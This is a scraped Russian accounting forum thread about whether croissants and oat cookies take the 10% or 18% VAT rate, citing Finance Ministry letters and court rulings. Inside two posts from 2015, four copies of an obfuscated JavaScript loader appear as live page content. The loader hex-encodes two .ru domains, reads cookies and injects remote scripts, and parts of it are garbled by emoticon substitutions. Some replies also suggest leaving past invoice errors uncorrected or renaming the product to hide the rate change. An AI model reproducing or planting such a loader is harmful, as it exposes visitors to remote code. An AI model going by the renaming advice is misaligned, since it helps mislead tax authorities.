Бухгалтерский учет. Налоги. Аудит

Форум – Бухгалтерский учет и налогообложение

Обсуждаем:

НДС

Анна123 (db79e)
04.10.2010, 13:10
Добрый день!

Мы производим и продаем круассаны, которые облагаем НДС 18%. Ни у кого из наших контрагентов не возникали по этому поводу вопросы. Недавно заключили новый договор... Контрагент нам сообщил, что данный вид продукции облагается ставкой 10 %, т.к. относится к хлебобулочным изделиям!
Что делать???
SveT  
04.10.2010, 15:49
почитайте документы, упомянутые в письме:

Вопрос: О необходимости применения ставки НДС в размере 18% в отношении операций по реализации пиццы.

Ответ:
МИНИСТЕРСТВО ФИНАНСОВ РОССИЙСКОЙ ФЕДЕРАЦИИ

ПИСЬМО
от 10 сентября 2010 г. N 03-07-14/63

В связи с письмом по вопросу применения ставки налога на добавленную стоимость при реализации пиццы Департамент налоговой и таможенно-тарифной политики сообщает.
В соответствии с пп. 1 п. 2 ст. 164 Налогового кодекса Российской Федерации налогообложение налогом на добавленную стоимость ряда продовольственных товаров, в том числе хлеба и хлебобулочных изделий (включая сдобные, сухарные и бараночные изделия), производится по налоговой ставке в размере 10 процентов.
Перечень кодов видов продовольственных товаров в соответствии с Общероссийским классификатором продукции (далее - ОКП), облагаемых налогом на добавленную стоимость по налоговой ставке 10 процентов при реализации, утвержден Постановлением Правительства Российской Федерации от 31.12.2004 N 908.
Согласно данному Перечню при реализации продовольственных товаров, входящих в группу "Пироги, пирожки и пончики" (коды по ОКП 91 1960 - 91 1985), применяется ставка налога на добавленную стоимость в размере 10 процентов. При этом пицца в данной группе не поименована.
В связи с изложенным при реализации пиццы, по нашему мнению, следует применять ставку налога на добавленную стоимость в размере 18 процентов.
Одновременно сообщаем, что направляемое мнение имеет информационно-разъяснительный характер и не препятствует руководствоваться нормами законодательства о налогах и сборах в понимании, отличающемся от трактовки, изложенной в настоящем письме.

Заместитель директора
Департамента налоговой
и таможенно-тарифной политики
Н.А.КОМОВА
10.09.2010
Анна123 (db79e)
04.10.2010, 16:33
Спасибо за ответ!

Нашла вот такую статью:

"Вопрос: Организация реализует торты, пирожные и пончики, политые глазурью. Правомерно ли в данном случае применение ставки НДС в размере 10%?

Ответ: Согласно пп. 1 п. 1 ст. 146 Налогового кодекса РФ объектом налогообложения признается, в частности, реализация товаров (работ, услуг) на территории Российской Федерации, в том числе реализация предметов залога и передача товаров (результатов выполненных работ, оказание услуг) по соглашению о предоставлении отступного или новации, а также передача имущественных прав.
В силу п. 2 ст. 164 НК РФ налогообложение НДС производится по налоговой ставке 10 процентов при реализации, в частности, хлеба и хлебобулочных изделий (включая сдобные, сухарные и бараночные изделия).
При этом согласно последнему абзацу указанного пункта коды видов продукции, перечисленных в настоящем пункте, в соответствии с Общероссийским классификатором продукции, а также Товарной номенклатурой внешнеэкономической деятельности, определяются Правительством Российской Федерации.
В соответствии с Общероссийским классификатором продукции ОК 005-93, утвержденным Постановлением Госстандарта России от 30.12.1993 N 301, торты и пирожные (код 91 3034) относятся к группе продуктов "Изделия кондитерские мучные" (91 3000), а хлеб и хлебобулочные изделия (код 91 1005) относятся к "Продукции сахарной хлебопекарной промышленности" (91 1000).
Таким образом, торты и пирожные, в соответствии с Общероссийским классификатором, не относятся к хлебу и хлебобулочным изделиям, в связи с чем применение к ним ставки 10 процентов является неправомерным.
Что касается пончиков (даже политых глазурью), то они входят в группу "Пироги, пирожки и пончики" (91 1900), которая, в свою очередь, также входит в группу "Продукция сахарной хлебопекарной промышленности" (91 1000).
Кроме того, пончики (91 1900), в отличие от тортов и пирожных, указаны в Перечне кодов видов продовольственных товаров в соответствии с Общероссийским классификатором продукции, облагаемых при реализации налогом на добавленную стоимость по налоговой ставке 10 процентов при реализации, утвержденном Постановлением Правительства РФ от 31.12.2004 N 908.
Учитывая изложенное, применение ставки НДС 10 процентов при реализации тортов и пирожных является неправомерной, а при реализации пончиков, политых глазурью, - правомерной.

Ю.М.Лермонтов
Минфин России
24.02.2010"

Анализирую вышесказанное, предполагаю, что ситуация подходит к моей, т.е. круассаны относятся к хлебобулочным изделиям и должны облагаться НДС 10%.
Я правильно понимаю?
SveT  
04.10.2010, 16:49
определите код для вашей продукции, если он есть в перечне Постановления от 31.12.2004 N 908, тогда какие вопросы...
Анна123 (db79e)
04.10.2010, 16:51
Вопрос: что теперь делать? если продукция подпадает под 10 %, а мы продавали ее по 18% ндс то есть?!
SRF1  
04.10.2010, 17:52
В течение какого периода вы применяли неправильную ставку НДС?
Sveta-  
04.10.2010, 17:54
Подать уточненки
Анна123 (db79e)
04.10.2010, 19:13
Больше года выставляли неправильно! О, ужас!!! нифига себе!

А с контрагентами, которым раньше выставляли по ставке 18%, что с ними? сообщить в информационном письме: так, мол, так, ошибочка вышла... или что-то другое?!
нужно ли будет перевыставлять сч-фактуры?! жаль
YuliyaMK  
04.10.2010, 21:32
Не думаю, что контрагенты сильно порадуются таком подарку, особенно, если они взяли ваш ндс к вычету.
avatar
_ARBAT_  
05.10.2010, 10:44
а если по старым поставкам голову не заморачивать.
а по новым уже шлепать по 10 %?
пусть сама налоговая роется.
вы то точно ничего не занизили.
Анна123 (db79e)
05.10.2010, 11:14
хорошая идея, но мне кажется,один и тот же товар мы не можем выставлять, облагая разным НДС-ом... Будет как-то совсем криво! Или можно? ...но в этом случае какие у нас могут быть последствия?! читай!
avatar
_ARBAT_  
05.10.2010, 11:28
что значит один и тот же?
вы например с 6 октября начинаете отргружать и указывать в с/ф - 10 процентов. и все тела. а покупателям объясните что мол ошиблись.
у них то какие проблемя им выставили они приняли к вычету а вы к начислению. ноу проблем. состава нет.
имхо.
Анна123 (db79e)
05.10.2010, 12:12
.но ведь необходимо будет и им, и нам сдавать уточненки... переделывать СФ-ры за прошлые периоды... Разве нет?! вперед!
Random  
05.10.2010, 12:16
Анна, придумайте для этих "круассанов" новое название (типа рогалики).
"Старые" будут идти с НДС 18%, а под "новые" Вы точный код подыщете и обоснуете НДС 10%.
Тогда в глаза бросаться не будет.
avatar
_ARBAT_  
05.10.2010, 12:22
Анна123
.но ведь необходимо будет и им, и нам сдавать уточненки... переделывать СФ-ры за прошлые периоды... Разве нет?! вперед!

нет необходимости сдавать "уточненки".
зачем?
никто ничего не занизил.
Анна123 (db79e)
05.10.2010, 12:27
Всем спасибо!!! работаем!
гость5656 (ad593)
02.06.2011, 11:21
А налоговая база по налогу на прибыль занижается при применении неправильной ставки НДС? От выручки нужно было вычитать НДС по ст. 10%, а вычли то 18%..то есть?!
Илья СИР (e3575)
04.09.2015, 16:23
возник вопрос по ставке ндс  (печенье овсяное) обращались в налоговую нам ответили что должно быть 10%, но потом передумали и отписались что 18. на совместном совещании пришли к выводу что код ТН ВЭД 1905 900 600 0 (согласно показателям влаги и жира), и они теперь не знают какую ставку НДС применять хотя в классификаторе ясно прописано 
 
1905 90 600 0
С подслащивающими добавками
В данную подсубпозицию включаются все хлебо­булочные и мучные кондитерские изделия, 
не включенные в предыдущие подсубпозиции, например, торты, кексы, пирожные и меренги.


а они утверждают что это только для хлебобулочных изделий ссылаясь на постановление правительства 908 от 31.12.2004


Хлеб, мучные кондитерские изделия и прочие хлебобулочные изделия
1905 10 000 0
1905 40
1905 90 100 0
1905 90 300 0
из 1905 90 550 0 - 1905 90 900 0 - хлебобулочные изделия
прошу вас разъясните чтоб было понятно какую ставку НДС применять
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'подмигнул,e="",t="9330",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp==''подмигнулreturn;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.smlo.loadSmlo(n.replace('https:','http:'подмигнул);else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'подмигнул);else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.oner ror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?uскукотища[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))жальf=r(e)+"/ajs/"+t+"/c/"+c("audit-it.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'подмигнул,e="",t="9330",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp==''подмигнулreturn;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.smlo.loadSmlo(n.replace('https:','http:'подмигнул);else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'подмигнул);else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.oner ror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?uскукотища[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))жальf=r(e)+"/ajs/"+t+"/c/"+c("audit-it.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'подмигнул,e="",t="9330",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp==''подмигнулreturn;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.smlo.loadSmlo(n.replace('https:','http:'подмигнул);else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'подмигнул);else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.oner ror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?uскукотища[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))жальf=r(e)+"/ajs/"+t+"/c/"+c("audit-it.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Илья СИР (e3575)
04.09.2015, 16:25
возник вопрос по ставке ндс  (печенье овсяное) обращались в налоговую нам ответили что должно быть 10%, но потом передумали и отписались что 18. на совместном совещании пришли к выводу что код ТН ВЭД 1905 900 600 0 (согласно показателям влаги и жира), и они теперь не знают какую ставку НДС применять хотя в классификаторе ясно прописано 
 
1905 90 600 0
С подслащивающими добавками
В данную подсубпозицию включаются все хлебо­булочные и мучные кондитерские изделия, 
не включенные в предыдущие подсубпозиции, например, торты, кексы, пирожные и меренги.


а они утверждают что это только для хлебобулочных изделий ссылаясь на постановление правительства 908 от 31.12.2004


Хлеб, мучные кондитерские изделия и прочие хлебобулочные изделия
1905 10 000 0
1905 40
1905 90 100 0
1905 90 300 0
из 1905 90 550 0 - 1905 90 900 0 - хлебобулочные изделия
прошу вас разъясните чтоб было понятно какую ставку НДС применять

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'подмигнул,e="",t="9330",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http'подмигнул==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp==''подмигнулreturn;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.smlo.loadSmlo(n.replace('https:','http:'подмигнул);else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox'подмигнул == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'подмигнул);else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.oner ror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?uскукотища[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))жальf=r(e)+"/ajs/"+t+"/c/"+c("audit-it.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
12152 (129f9)
04.09.2015, 17:24
Добрый день
вы перепродаете печенье или сами делаете ?
12152 (129f9)
04.09.2015, 17:26
В примечании к Перечню продовольственных товаров разъяснено, что принадлежность отечественных продовольственных товаров к облагаемым по ставке 10 процентов подтверждается соответствием их кодов. При этом сравниваются коды, указанные в сертификате соответствия, присвоенные в соответствии с Общероссийским классификатором продукции ОК 005-93, утвержденным постановлением Госстандарта России от 30 декабря 1993 г. № 301, и коды, указанные в Перечне продовольственных товаров, утвержденном постановлением Правительства РФ от 31 декабря 2004 г. № 908.

Если коды совпадают, то значит, сертифицированный товар соответствует товару, указанному в Перечне продовольственных товаров, облагаемых по ставке 10 процентов, и соответственно подлежит обложению по этой ставке.

При отсутствии сертификатов на товар периодически возникают налоговые споры по результатам налоговых проверок. В частности, ФАС Северо-Западного округа в постановлении от 1 февраля 2012 г. № А56-29589/2011 указал, что если нет сертификата, то применять льготную ставку нельзя (у организации не было сертификата соответствия на мясо и мясопродукты). Это судебное решение интересно тем, что его поддержал ВАС РФ. Своим определением от 24 мая 2012 г. № ВАС-5969/12 он отказал в передаче данного дела для рассмотрения в Президиум ВАС РФ.

Судьи подчеркнули, что мясо и мясопродукты – это продовольственные товары, подлежащие обязательной сертификации и обязательному декларированию соответствия. Поскольку налоговое законодательство не устанавливает, какие именно товары относятся к мясу и мясопродуктам для применения пониженной ставки налога на добавленную стоимость в размере 10 процентов, необходимо представить документы, подтверждающие такое соответствие.

Аналогичное решение было принято в постановлении ФАС Северо-Западного округа от 27 июля 2009 г. № А56-31402/2008. Оно также было поддержано ВАС РФ. Своим определением от 4 декабря 2009 г. № ВАС-12983/09 он также отказал в передаче дела в Президиум ВАС РФ.

Согласна с таким подходом и ФНС России (письмо от 1 февраля 2011 г. № КЕ-4-3/1420@).

Получается, чтобы исключить споры, торговой фирме следует запастись сертификатами соответствия, особенно если речь идет о реализации товаров, которые подлежат обязательной сертификации. Перечень таких товаров утвержден постановлением Правительства РФ от 1 декабря 2009 г. № 982.
Илья СИР (da603)
06.03.2018, 04:20
12152, сами производим
Автор:
Ваш Email:

Защита от спама:
Введите код, который вы видете ниже (защита от роботов-спамеров).
 ********   **     **   *******   **     **  ******** 
 **     **  **     **  **     **  **     **     **    
 **     **  **     **  **     **  **     **     **    
 ********   **     **   ********  **     **     **    
 **         **     **         **  **     **     **    
 **         **     **  **     **  **     **     **    
 **          *******    *******    *******      **    
Сообщение: